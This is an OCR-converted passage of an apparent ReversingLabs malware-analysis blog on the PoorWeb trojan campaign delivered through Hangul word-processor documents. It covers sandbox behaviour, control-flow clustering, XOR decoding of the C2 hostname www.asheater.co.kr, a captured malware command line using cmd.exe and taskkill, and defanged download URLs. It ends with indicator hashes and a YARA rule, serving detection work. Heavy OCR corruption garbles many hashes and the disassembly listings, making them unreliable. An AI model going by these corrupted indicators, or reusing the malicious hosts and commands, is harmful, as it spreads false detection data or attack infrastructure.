& @ 7monthsago win32.Trojan.Poorweb 317f418e9cb3f0e7b25f3elccfdesdad0bel650a Binary/Archive/Mi... 7 364.5KB =
& @ 7monthsago Win32.Trojan.PoorWeb ecfd93bBacecaBObbaB5247fc15d4a4e92f66119 Binary/Archive/Mi 1 1275KB =
& @ 7monthsago Win32.Trojan.PoorWeb f4f416fd35f5245d7b25ca289680d6164bffb977 Binary/Archive/Co... 1 129.0KB =
& o 7monthsago win32.Trojan.Poorweb 23f5ab89c99bd4f4f3615d81c93a92305a38889f Binary/Archive/Co... 1 129.0KB =
| & ® gmonthsago Win32.Trojan.Poorweb 3eeelBaabeBf054e05aB8be2231cf4f0b0750c029 PE/Exe 13 1335KB =:
& @ 9gmonthsago Win32.Trojan.Poorweb 402259e0c0482101921a7896292f48725b8573dd Binary/Archive/GZIP 1 112.3KB =

Figure 20: Threat Name Search

Behavior

Once a wide enough net has been cast, the resulting file set must be whittled down to just
the files that have similar behavior or structure to the ones analyzed above. First step is to
send all the samples to a sandbox to observe the dynamic behavior. Fortunately, this can be

done automatically in the Titanium Platform in the Cuckoo Sandbox feature. Some of the files

from this large set have a very similar behavior pattern. One example? of this is shown in
Figure 21. The main difference is the filename of the dropped file, sorvices.exe.

Z ca6ff34f9c82fd526620e87df66aeadB51e0d... Behavioral Analysis
{1 Preview Sample
Size: 108.4 KB « 1740: ca6ff34f9c82fd526620e87df66aead851e0dd74.rl

Type: PE / Exe « 340: ‘cmd‘exe-
Format: -- » 2168: sogoupin.exe
» 2432: cmd.exe

Threat: @ Win32.Backdoor.Andromeda 2732 tackkill exe

First seen (cloud): 2020-09-16 15:45 UTC &

Last seen (cloud): 2020-10-26 20:13 UTC &

User uploads: 1 E 3 Type Time Api
ce5cbdc387a4b988b8ed3caacc4ac2414e802... Behavioral Analysis
Preview Sample

Size: 93.5KB « 2800: 0e8029e241174b87c7786e9c5211a82cc36baa4l.rl

Type: PE/ Exe « 2696: cmd:exe

Format: -- « 2940: sorvices.exe

Threat: @ Win32.Trojan.PoorWeb - 1664: Crffd‘eii”

First seen (cloud): 2017-02-02 08:48 UTC « 2464 taskkill.exe

Last seen (local): 2020-08-30 04:12 UTC

User uploads: 1

b=CD &

Type Time Api

Figure 21: Behavioral Analyses
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Structure

Behavioral analysis shows which samples are related, but may not be precisely the same
malware. Two variants or revisions of a particular malware may exhibit identical or similar
behavior patterns. To really create more accurate groupings, one examines the control flow
graphs of the PE executables. To make sure that apples are compared to apples and
oranges to oranges, all the control flow graphs are generated using radare2 and Cutter32.
Focusing on the main function as detected by radare231 or the very first subroutine with
adversary code, a set of thumbnail images were generated and the resulting graphs
separated into groups based on similar control flow. For the payload files as identified via
automated dynamic analysis, there emerge three basic patterns of control flow. These three
graphs are shown in Figure 22.

Figure 22: Control Flow Graph Comparison

Using this same process on the droppers and downloaders, sets of similar control flow are
grouped together. A full list of hashes of these groups are provided at the end of the blog.
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Programming Errors

During dynamic analysis of the set of droppers, downloaders, and payloads, a specific,
repeated programming error is observed within one set of droppers that all share similar
control flow and execution graphs. The very first string that the malware decodes is treated
like a download URL and is used as a call parameter to the InternetOpenUrlA32 function.
This flaw is divided into two groups. In the first group, the string is a command line
command. An example of this in one file34 is shown in Figure 23.

00EQ1AD4
00EQ1AD6
00EQ1ADC
00EQ1ADF
00EQ1AE1
00EQ1AE6
00EQ1AES8
OOEOQLAEA
00EQ1AFO
00EQ1AF1
00EQ1AF4
O0EOQ

O0QEQ1AFB
00EQ1BO1
00E01BO8

6A 00
FF15 5CB1E100
8945 FC

6A 00

68 00000084
6A 00

6A 00
8D95

52
8B45 FC

50

FF15 60B1E100

8985 FAFEFFFF
FAFEFFFF 00

83BD
v OF85 49080000

F8FEFFFF

Figure 23: Not a URL

push 0

call dword ptr ds:[<&InternetopenA> ]
mov dword ptr ss:[ebp-47,eax

push 0

push 84000000

push 0

push 0

lTea edx,dword ptr ss:|febp-108]
push edx

mov eax,dword ptr ss:[ebp-4]
push eax
call dword ptr ds:[<&1nternet0penUr1A> ]
mov dword ptr ss:[ebp=tocisTax

cmp dword ptr ss:|ebp-10c],0

jne 7510b.E02357

[ebp-10C]:"€'°n@t"
[ebp-10C]:"E'°n@t"

The second pattern is a bit better effort, but is still not a complete URL. This other pattern
can be seen in Figure 24 in a different file32.

006216FE
00621700
00621706
00621709
00621708
00621710
00621712
00621714
0062171A
00621718
0062171E
0062171F

00621725
00621728
00621732

6A 00
FF15 50A16300
8945 FC

6A 00

68 00000084

6A 00

6A 00

8D85 F8FEFFFF

50

8B4D FC

51

FF15 4CA16300

8985 F4FEFFFF

83BD F4FEFFFF 00
~ OF85 73080000

push 0

call dword ptr ds:[<&InternetOpenA> ]
mov dword ptr ss:[ebp-4],eax

push 0

push 84000000

push 0

push 0

lea eax,dword ptr ss:|[lebp-108]]

push eax

mov ecx,dword ptr ss:[[ebp-4]

push ecx
call dword ptr ds:[|<&InternetOpenuriA> ]|
mov dword ptr ss:[ePp-I0UCT,eax

cmp dword ptr ss:[ebp-10cf,0

jne dc69b.621FAB

Figure 24: URL Fragment Not a URL

eax:r/skﬁnls/css/fire.php1

In the Titanium Platform, these same failed API calls can be surfaced easily by navigating to
the Cuckoo Sandbox Behavioral Analysis, and then sorting the resulting table by status.
Failed API calls will then be visible at the top of the table. The same two failed API calls
shown above can be seen in Figures 25 and 26 in the Titanium Platform.

edxi”cmd‘exe fc \'dir /s %%windir%%\\system32\\r

16/24


https://blog.reversinglabs.com/hubfs/Blog/poor-web/poor_web_figure_23.jpg
https://blog.reversinglabs.com/hubfs/Blog/poor-web/poor_web_figure_24.jpg

HE\,ERSING ‘ A1000 Dashboard  Submissions  Search  Alerts Yara Tags Feeds Helpr &
d9a54d3ed3603bf0ale2c9379a5fc9f0d2d56... Behavioral Analysis
Preview Sample
Size: 181.0KB . 89? d‘g.aiﬁriﬂa[i(:EBOBthale?t937935f(9fDd?dSBEaO.r\
Type: PE/ Exe ' =
« 276: netstate
Format: -- = :
Threat: @ Win32.Trojan.Poorweb * //ﬁ _'Ux”‘f‘m‘f‘ e
First seen (cloud): 2020-02-03 01:35 UTC & g P2 CAUEENS
Last seen (local): 2020-08-30 04:12 UTC B8 LA ERDIOTERExE
User uploads: 2 1
Type Time Api Arguments Status <Return Thread ID
Malicious Suspicious Known
Fwating el L o0 ;O]?S'DS'BO SetUnhandledExceptionFilter X 0 2088
n Summary url: /skinl5/css/fire.php
< o 55520-08-30 InternetOpenUrA ;:::;:?:Thandle:OxOOccOOOA % 0 2088
0 Trtaniumeore flags: 2214502512
°d TitaniumCloud create_disposition: 1
file_handle: 0x00000000
‘ filepath: c\Users\Public\netstates.exe
E’ Extracted Files (1) 2020-08-30 desired_access: 0x80100080
. 112 NtCreateFile file_attributes: 128 X 3221225524 2088
File Visualization filepath_r: -\.?7\( \users\public\netstates.exe
create_options: 95
status_info: 4294967295
@ Sources (0) share_access: 1
S{ create_disposition: 1
- Cuckoo Sandbox file_handle: 0x00000000
Behavioral Analysi filepath: c:\Users\Public\netstates.exe
+ Benavioral Analysis ‘_ SEPEESE desired_access: 0xc0100080
* Network Analysis | s NtCreateFile file_attributes: 128 X 3221225524 2088
: filepath_r: \??\c:\users\public\netstates.exe
Figure 25: Failed API Call to InternetOpenUriA
HE\’E%SING | A1000 Dashboard ~Submissions Search Alerts Yara Tags Feeds Helpr AL+
cabff34f9c82fd526620e87df66aea9851e0d... Behavioral AﬂalySiS
Preview Sample
Size: 108.4 KB + 1740: cabff34f9c82fd526620e87df66aead851e0dd74.r|
« 340: cmd.exe
Type:PE/E
Fgf;at‘ . i « 2168: sogoupin.exe
Threat: @ Win32 Backdoor.Andromeda . Mf;{;ﬂrd ?EEH
First seen (cloud): 2020-09-16 15:45 UTC & “Ey 20 RS
Last seen (cloud). 2020-10-26 2013 UTC &
User uploads: 1 = Type Time Api Arguments Status Return Thread ID
ETTY Malicious Suspicious Known 2020-10-27 G
Pivating e3 0 00 0110 SetUnhandledExceptionFilter X 0 448
url: cmd.exe /c "dir /s %%windir%%!\system32
n Summary 2020-10-27 \*.sys&&taskkill /im "9bs" /f & dir
0110 InternetOpenUrlA internet_handle: 0x00cc0004 X 0 448
. — ’ headers:
O ThaniomCore, flags: 2214592512
L] . e
& TitaniumCloud create_disposition: 1
file_handle: 0x00000000
filepath: c\Users\Public\scgoupin.exe
B extracted Files (1) 2020-10-27 desired_access: 0x80100080
. 0110 NtCreateFile file_attributes: 128 X 3221225524 448
File Visualization ' filepath_r: }??\c:\users\pub\ic\sognupin.exe
create_options: 96
status_info: 4294967295
@ Sources (1) share_access: 1
S{” create_disposition: 1
. Cuckoo Sandbox file_handle: 0x00000000
. . filepath: c:\Users\Public\sagoupin.exe
: BehaworaIAnzflyss <_- 50504037 desired_access: Oxc0100080
* Network Analysis 2 0110 NtCreateFile file_attributes: 128 X 3221225524 448

filepath_r: \??\c\users\publicisogoupin.exe

Figure 26: Failed API Call to InternetOpenUrIA

The file above which has a URL fragment rather than a full URL also is observed to drop a
payload that is not in the group 1 according to control flow. This file is the odd one out and

the only dropper within its group of similar control flow that drops a payload with a different
control flow than the rest in the group. All groups and file hashes are provided at the end of

the blog.
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Evolution of String Obfuscation

Examining control flow is a decent method for differentiating among samples at a macro
level, but one must also dig down to the code level to see what other similarities and
differences can be found. As a rule of thumb, loops and code that obfuscates or decodes
adversary strings are excellent locations to focus on. With this in mind, there are two basic
patterns that can be seen in the groups of samples. Looking first at the group of samples that
include the payloads from the HWP files analyzed above (control flow pattern 1), a two stage
decoding and deobfuscation process is observed. An example of this process being used to
decode a C2 hostname in one file from control flow group 1 is shown in Figure 27. An
example of this process being used to decode a C2 hostname in one file2€ from control flow
group 3 is shown in Figure 27.
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006A4C14
006A4C1B
006A4C22
006A4C29
006A4C30
006A4C37
006A4C3E
006A4C45
006A4C48
006A4C4E
006A4C55
006A4C5B
006A4c61
006A4C68
006A4C6D
006A4C72
006A4C79
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605 2D4EB700 E1
C605 2E4EB700 EO
605 2F4EB700 F8
605 304EB700 8C
C605 314EB700 E4
C605 324EB700 4B
OFBEOD 324EB700

83F1 OC

880D 324EB700
OFBEL1S5 314EB/00
81F2 D1000000
8815 314EB700
OFBE05 304EB700
35 A0000000

A2 304EB700
OFBEOD 2F4EB700
81F1 91000000
880D 2F4EB700
OFBE15 2E4EB700
81F2 8000000
8815 2E4EB700
OFBE05 ZD4EB700
35 ¢5000000

A2 2D4EB700
OFBEOD 2C4EB700
83F1 13~
880D 2C4EB700
OFBE15 ZB4EB700
81F2 EC000000
8815 2B4EB700
OFBEOS 2A4EB700
35 F6000000

A2 2A4EB700
OFBEOD 294EB700
81F1 D7000000
880D 294EB700
OFBELS5 284EB/00
83F2 69

8815 284EB700
OFBEOS5 274EB700
35 D6000000

A2 274EB700
OFBEOD 264EB700
81F1 CAG00000
880D 264EB700
OFBE15 254EB700
83F2 59

8815 254EB700
OFBE05 Z44EB700
83F0 19

A2 244EB700
OFBEOD 234EB700
83F1 60

880D 234EB/00
OFBEL15 224EB700
81F2 93000000
8815 224EB700
OFBE0S5 Z14EB700
35 EQ000000

A2 214EB700
OFBEOD 204EB700
83F1 65

880D 204EB700
€605 324EB700 00
€785 G6CFSFFFF 110000
EB OF

8895 GCFSFFFF
83EA 01

8995 6CF5FFFF
83BD GCFS5FFFF 00
76 4E

8B85 BCFS5SFFFF
OFBE8S 204EB700
83F1 47

8B95 6CFS5FFFF
888A 204EB700
EB CA

byte
byte
byte

ptr ds:
ptr ds:

LW/ T
[B74E2D ]|, E1
[B74E2E ]|, EO
ptr ds:[B74E2F ]|,F8
byte ptr ds:[B74E30 ]|,8C
byte ptr ds:[B74E31]|,E4
mov byte ptr ds:[B?4E32],4B
movsx ecx,byte ptr ds:[B

xor ecx,C
mov byte p ds:[B74E32],cl
e ptr ds:[B74E31]

movsx edx,
:[B74E31],d1

xor edx,Dl
mov byte ptr

tr ds:[B74E30]
74E30],al

movsx eax,byte
ds : [B74E2F ]

Encoded
Characters

xor eax,AQ
mov byte ptr ds:
movsX ecx,byte pt
xor ecx,91

mov byte ptr ds:[B74¢2F],c]
movsx edx,byte ptr ds\ [B74E2E ]
xor edx,C8

mov byte ptr ds:[B74E2EN,d1
movsx eax,byte ptr ds:[BY4E2D]
xor eax,C5

mov byte ptr ds:[B74E2D],
movsx ecx,byte ptr ds:[B74ERC]
Xor ecx,13

mov byte ptr ds:[B74E2C],cl
movsX edx,byte ptr ds:[B74E2B
xor edx,EC

mov byte ptr ds:[B74E2B],d]
movsX eax,byte ptr ds:[B74E2A]
Xor eax,F6

mov byte ptr ds:[B74E2A],al

movsx ecx,byte ptr ds:[B74E29] First

xor ecx,D7
mov byte ptr ds:[B74E29],cl XOR
movsx edx,byte ptr ds:[B74E28]
xor edx,69
mov byte ptr ds:[B74E28],d1
movsx eax,byte ptr ds:[B74E27]
xor eax,D6
mov byte ptr ds:[B74E27],al
movsX ecx,byte ptr ds:[B74E2
xor ecx,CA
mov byte ptr ds:[B74E26],c
movsx edx,byte ptr ds:[B74E25]
xor edx,59
mov byte ptr ds:[B74E25 1
movsx eax,byte ptr ds: [874E24 ]
xor eax,19
mov byte ptr ds:[B74E£41],al
movsx ecx,byte ptr [B74E23 ]
xor ecx,60
mov byte ptr ds:[BF4E23],c]
movsx edx,byte p
xor gdx,Q 4
mov byte ptr .
movsX eax,bytefptr ds:[B74E21] LOOP
xor eax,EOQ
mov byte ptrfds:[B74E21
movsx ecx,b Count
Xor ecx,65
mov byte ptr
mov byte p
mov dwope”ptr ss:flebp-A94f,11
jmp, 05.6A4DA9
mov edx,dword ptr ss:[lebp-A94]
sub gdx é 2cb -
mov word ptr ss:|[flebp-A94],e
dword ptr ss:[ebp-A94],0 4—'——CheCk

cmp
j1 90f05.6A4DDO
mov eax,dword ptr ss:|[lebp-A94])
movsx ecx,byte ptr ds: [eax B74E20] Second

xor ecx,47
XOR

mov edx,dword ptr ss:[febp-A94]
mov byte ptr ds:[edx+B74E20],cl
imn 90f05.6A4D9A

Figure 27: C2 Hostname Decoding Process

A very similar process is used in payloads from control flow group 2 and 3, but it is a single

vvu e .

00B74E2D:

00B74E2E

00B74E2F:
00B74E30:

4B:'K'

00B74€E30:

00B74E30:
00B74EZF:

00B74E2F:
OOB74E2E:"

00B74E2E:"
00B74E2D:"

00B74E2D:"
00B74E2C:"

00B74E2C:
00B74E2B:"

00B74E2B:"
00B74E2A:"

00B74E2A:"
00B74E29:"

00B74E29:"
00B74E28:"

00B74E28:"
00B74E27:"

00B74E27:"
00B74E26:

00B74E26:
00B74E25:"

00B74E25:"
00B74E24:"

00B74E24:"
00B74E23:"

00B74E23:"
00B74E22:"

00B74E22:"
00B74E21:"

00B74E21:"
00B74E20:"

00B74E20:"

eax+B74E20:fwww,asheater.co.kr"l

et

Tt
ke

" ke
o.kr"

oL kr”
co.kr"

co.kr"
.co.kr"

".co.kr"
r.co.kr"

r.co:ke=
er.co.kr"

er.co.kr"
ter.co.kr"

ter.co.kr"
ater.co.kr"

ater.co.kr"
eater.co.kr"

eater.co.kr"
"heater.co.kr"

"heater.co.kr"
sheater.co.kr"

sheater.co.kr"
asheater.co.kr"

asheater.co.kr"
.asheater.co._kr"

.asheater.co.kr"
w.asheater.co.kr"

w.asheater.co.kr"
ww.asheater.co.kr"

ww.asheater.co.kr”

c2

www. asheater.co.kr”

www.asheater.co.kr"

XOR step applied to chunks data rather than character by character as seen above.
Examples of these are shown in Figures 28 and 29. These two examples are from control
flow group 2 and 3 respectively. Both are slight modifications of a single theme.
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0x104
, dword [

dword |
dword
dword
word [
byte [

4240
, 0xc

dword |dwor
dword [dwo
dword [dwor
dword [dwor
word [word
byte [byte

byte [

, 0x12

Figure 29: String Decoding Process

The two-step XOR pattern appears in a few different variants among control flow group 3.

Conclusion

According to the September 2020 Microsoft Digital Defense Report regarding nation state
threats, "the most frequently targeted sector has been non-governmental organizations
(NGOs), such as advocacy groups, human rights organizations, nonprofit organizations, and
think tanks focused on public policy, international affairs, or security."3Z This may explain why
malware families such as the one analyzed above do not garner as much focus in the media
today as do ransomware or attacks targeting critical infrastructure. However, these attacks
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are very important. Hopefully, the processes shown above can assist in enumerating and
categorizing samples from this type of attack with the goal of detecting and preventing future
attacks.

Campaign Indicators3®

HWP Documents (Droppers)

73069aa5890b22b79e03ef7bd86ce15e2a26270fc011f27ed3eb15b329bd9b97
11¢c1d41668667220b50ec4 36f7325af1fffa43a40a1c3a227b69d6ffa98fa97d
4b249546ff2cab9ead9a98a10b200f7ebef76a5de116cdf31af31a045e743bfa
4c8be817d4de798bb541640894aa153dbf37bb03fd788d04e1461f184c631cf7
f3e65b66e03fcd15e00e67a0f756ec9fdc95cfe111e7bcdcebee176525836e49
252e9f7856f221338ade8756849871d009b53e7f624bbbac879b8346cd657b02
656d0dc4e7d1da530397b7b140559ea404bab66f6d9694f72a553f0255f1 3fb0b
99a6b3b15f0e805a5ae98048dead1d5ed9c94e2de1500d7d8250e4ce36deb8b1
24983121690aaf2e648a9e19860e9e55f3105aa8f1b0549f2ab239b25¢97022b
65e821470779cd13297a6ecdfd6a263ee0bec5acf1b3a80d8f2f3946e7d33329
80f566efbdceac356a09e3e97e128966e773db43b3a81c460cal35747445ef17b
d2fe12893b35d775830aal0ef25a81748d6a669188709303aa404405c466f9fff
7ac5311e3f81ea20951b19b9315e26923f2b340b67322e29f439f120898d4f16
6f1881c6809982ce9deddac20cebebecc9aa8841db6f81df37f815621¢1970f85
12¢5f8c63803403859268f000135dbb9c2¢c104d480705819447464c5439f6efa
2¢c52400575174c0eb132e349c26a7eale5ec673fa504d12f9089a9039bbd703
3c0024f6066376415acdb01d55e0b332ce462ef2ca065d5d3843686e5e140c71

HWP Documents (Downloaders)

ea91f1e475ab4eb54971a0e7adbd61d690136abf1b2ab76b94a246515f65b9a3
6f111be4a0cb4f033639f906f512b7feb1632630bec58285¢c9cd5969ae8a6ff3
aa461e70ab464a503d1e647e693df7ececfff86d497ee0c57c9448302878a05a
942baec89b2474f41fa6c7b1bc085ac5c62¢97fc1 cadd56e4d3d6ff7ba5e436832

Executables (Downloaders)
0a960dd9c015545c2fe4d4f39baebf9e7af1afb1933900f105c5ae9ec51a446d
Executables (Droppers)

ec8cf2570f869¢c897ca9d898279d10b9c3b137eb4dbb6b7d68c7f524dc5332af9
1958b75e2ef787fdb9938053f117da9ba9866509000af547e700dfb6a806d721
d6a0444a111227650902c5b1229347824e0317b7842f085b826787d1e9eab5165
836df87¢c3a87d8308075edb7aaec3ed13502ecefe0b7136791246295¢c459fa41
87ebae83d90f49d5232266d5c27ac3be2fcf7e692332a235045¢cf8075¢c1b3b91
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9a316¢168e3bc0f27a6884e44f5beff0587debcdceaba662783a856d4a244437
7510b511093b09fe2bb0e9f7b60b80a40fabde9a6914842e10cf702b51393298
b5453db394ce8c22330fe620ab62a8a40ab491992e93d7f495d0370b93bfI688
73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8
3c844c¢1d7060aa6d063f71081df5f49e3a205e398b7a719939b04f9e260200f1
fa8f890514fe0ff1559d7ba760ebbbdb5de4658fae3e53a5704294a270f8926a
7c46ed90abba6913b6770926d7562df1a926a91e55e36f20838df07c5eba621e2?
59c70843d1791d40be632196851c355e7f14104bff24233b243f7cfed3f3f47341

Executables (Payloads)

6882ba20ca9e7c34897123931488007741987eb805f40b13f23ed1a221d21c5e
6a36a82767ba11ce6f313c0895da41d8dcf373b18b9efa0639e8fd76d639¢c987
ad3fada660f40b5d3ce2c6187dffc07507e7461a3d3ac249fbb6850e6028d517
9e2d374bfc9e099d376f5255f194608dcedbbab8ac16611ed3eb8fdc1e030586
90f0582453f49d3b38da03b289d0ffcad4f691ab89f6acb922511e081d472667
d074bbb7d821a58edfcf5fb20b6d632357779bd6554d9033b11859fc95262650
fa7c09036e545ch4898df21e284d81aded9d1d86e85af899bfb14d16a19b625¢

Outgroup Indicators

Executables (Droppers)

0455e0788715ba74503ce23784de9d9839ce80418ed8abac758f18983feeec8e
aladcc7ff9c58c07fb3cbd1799809ccd2cad6f961c6baf9eb5d2f847eb5dae3c
fof95afaeccOb3eebcb0828f9fb9c8af0e025e06e66bc85fb1a34d1520306b33
ce5cbdc387a4b988b8ed3caacc4ac2414e80258d2ee9b7889d6064c4chb436a23
f5e1ced1f2c52980ce54a50212b5bc89eaa5870078a5b12e1¢c738857052¢c8978

Executables (Payloads)

a201ae69d8c84d1c95f87dced704a38ad4e131c7e36d60b88ff859ba3bf7aab1
e452536f98446f54c6527106c7b123de12f010d3f1fcb25812f533d797253128
142f8cd20af1065eed8685056977b16f3e3b3c6da877abdd244f1519cd4b3b32
d057088d0de3d920ea0939217¢756274018b6e89cbfc74f66f50a9d27a384b09

Executables (Payloads)

7a3ab8b865f9581806f259d8a165ad7517294e9d576792d293d2be6922548047
f007369641e5eed5f575bfe57ebea68132a6963793a3fda520f31b4870b1cab6
c9d1c5bab22f16cb06a9¢ca9209710c2f92a250903¢c2119750c220bfb8aaff348
9fe2c4af5b7a80ae8d714908db4039cc3eafb4cal122e331a7b397aef41f6752f
2fa25c729c8cf1a0edb7ce71d1840837013682dc704c1ddccc385a3960868ac9
c73ff2398ee0a564830508f1766cdbb2662037593db669d2fa1bc74af93525ed
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5d88596be0e998340e12c885645bbca7a57f0d80110a312b71bb6f2df443c7b0
9f01dd87¢c28a9789a7730c6675995527cd5c2fdfd5b539d84b027e1107121a2¢c
2c1d693401930b455759fe8ab580d3ca7c47c574a1c67cabdfbe91fd01377113

YARA Rules

rule HighExpert HWP_HSIProp
{
meta:

author = "Malware Utkonos"
date = "2020-08-24"

description = "HWP summary information property entry in malicious Hangul Word Processor

document: Operation High Expert."

reference = "https://blog.alyac.co.kr/2226"

strings:

$a ={1F 00 00 00 OB 00 00 00 48 00 69 00 67 00 68 00 45 00 78 00 70 00 65 00 72 00 74
00}

condition:

uint32(0) == 0xE011CFDO and uint32(4) == 0xE11AB1A1 and $a

}

References:
1 https://en.wikipedia.org/wiki/Hangul_(word_processor)
2 https://www.virusbulletin.com/conference/vb2018/abstracts/dokkaebi-documents-korean-

and-evil-binary

3 https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb

4 fa7c09036e545cb4898df21e284d81aded9d1d86e85af899bfb14d16a19b625¢

5 ec8cf2570f869c897ca9d898279d10b9c3b137eb4db6b7d68c7f524dc5332af9

6 ea91f1e475ab4eb54971a0e7adbd61d690136abf1b2ab76b94a246515f65b9a3

7 _https://cerbero-blog.com/

8 _https://blog.alyac.co.kr/2226

9 _https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-doc/7dc15eb9-c84d-
4eb5-844b-0e78e072214f

10 https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-
document-from-a-dprk-th

reat-actor-group/

11 https://www.fortinet.com/blog/threat-research/debugging-postscript-with-ghostscript
12 https://github.com/gchq/CyberChef

13 aa461e70ab464a503d1e647e693df7ececfff86d497ee0c57c9448302878a05a

14 6f111be4a0cb4f033639f906f512b7feb1632630bec58285¢c9cd5969ae8a6ff3
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https://en.wikipedia.org/wiki/Hangul_(word_processor)
https://www.virusbulletin.com/conference/vb2018/abstracts/dokkaebi-documents-korean-and-evil-binary
https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb
https://cerbero-blog.com/
https://blog.alyac.co.kr/2226
https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-doc/7dc15eb9-c84d-4eb5-844b-0e78e072214f
https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-th%20reat-actor-group/
https://norfolkinfosec.com/how-to-analyzing-a-malicious-hangul-word-processor-document-from-a-dprk-th%20reat-actor-group/
https://www.fortinet.com/blog/threat-research/debugging-postscript-with-ghostscript
https://github.com/gchq/CyberChef

15 7¢5db78537f3a28b9bcfe8f75e86¢360385929d2206d59827fcadfb524d41¢c1

16 https://blog.alyac.co.kr/m/2336

17 2196a88f27c3f813e5b359b9be31ed5122a678bcecd47827a98e5f2078b2d666

18 hxxp[://lub-farm[.Jcom/admin/tmp/banner.gif

19 _https://ridiculousfish.com/hexfiend/

20 _https://blog.alyac.co.kr/2281

21 https://blog.alyac.co.kr/2453

22 https://www.hexacorn.com/blog/2015/12/10/converting-shellcode-to-portable-executable-
32-and-64-bit/

23 hxxpl[://lhpc[.]kau[.]ac[.]kr/rolling_banner/tmp4c5ae3|[.]p3a

24 https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-
developer/platform-apis/

ms775123(v=vs.85)

25 https://attack.mitre.org/techniques/T1106/

26 https://www.inetsim.org/

27 4b249546ff2cab9ea49a98a10b200f7ebef76a5de116cdf31af31a045e743bfa

28 hxxp[://lhpc[.]Jkau[.]ac[.]kr/rolling_banner/tmp4c5ae3[.]p3a

29 73d65cd0b513cadaaa76b559ada28996eb06b68954538fc628e03893f5ff85e8

30 ce5cbdc387a4b988b8ed3caaccd4ac2414e80258d2ee9b7889d6064c4ch436a23

31 _https://github.com/radareorg/radare2

32 _https://github.com/radareorg/cutter

33 https://docs.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetopenurla
34 7510b511093b09fe2bb0e9f7b60b80a40fabde9a6914842e10cf702b51393298

35 dc69b98da87a7b6b683359082b63d1e945chbef17a32d432d11c5f488399460ab

36 90f0582453f49d3b38da03b289d0ffcad4f691ab89f6ach922511e081d472667

37 _https://blogs.microsoft.com/on-the-issues/2020/09/29/microsoft-digital-defense-report-
cyber-threats/

38 This grouping of indicators is based on the payloads of type 1 and the stages that deliver
them.

39 This file is only associated with the campaign through OSINT, not behavioral observation.

The two

sources of this association are https://otx.alienvault.com/pulse/5¢c99ee9aa9e60a68a9b55aec
and

https://otx.alienvault.com/pulse/5¢914fcb2a0f7c3043d01d5e

40 This file is structurally different from the majority of the others in this grouping.

41 Ibid.

Watch our Webinar: Understanding_attacks like Ryuk before it’s too late
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